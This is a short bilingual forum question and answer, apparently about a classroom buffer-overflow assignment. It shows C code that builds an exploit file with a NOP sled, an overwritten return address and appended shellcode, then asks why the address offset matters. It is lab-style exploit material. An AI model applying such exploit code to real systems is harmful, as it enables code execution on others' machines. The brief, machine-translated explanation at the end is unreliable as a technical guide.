在 c 中利用 BOF?

Exploit BOF in c?

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);

    *((long *) (buffer + 36)) = 0xffffce78 + 0x80;

    memcpy(buffer + sizeof(buffer) - sizeof(shellcode), shellcode, sizeof(shellcode));

    /* You need to fill the buffer with appropriate contents here */ 

    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}

我刚刚在 BOF 上做作业,现在我知道执行 BOF 的两件事了。

1, address of instruction pointer, so as to point to my shellcode

2, address of my shell code.

缓冲区地址在gdb中为0xffffce28,在C中为0xffffce78,$ebp指向0xffffce48。所以要得到eip的地址,0xffffce48 - 0xffffce28 + 4 = 36。但是将我的 shell 代码地址 0xffffce78 存储在缓冲区+36 中会引发非法指令(核心已转储),但是添加 0x80 缓冲区地址有效,为什么?

因为 shell 代码在缓冲区的末尾。尝试执行的第一条指令是 eip 值,*((long *) (buffer + 36)) = 0xffffce78 + 0x80; 所以这不是一条合法的指令。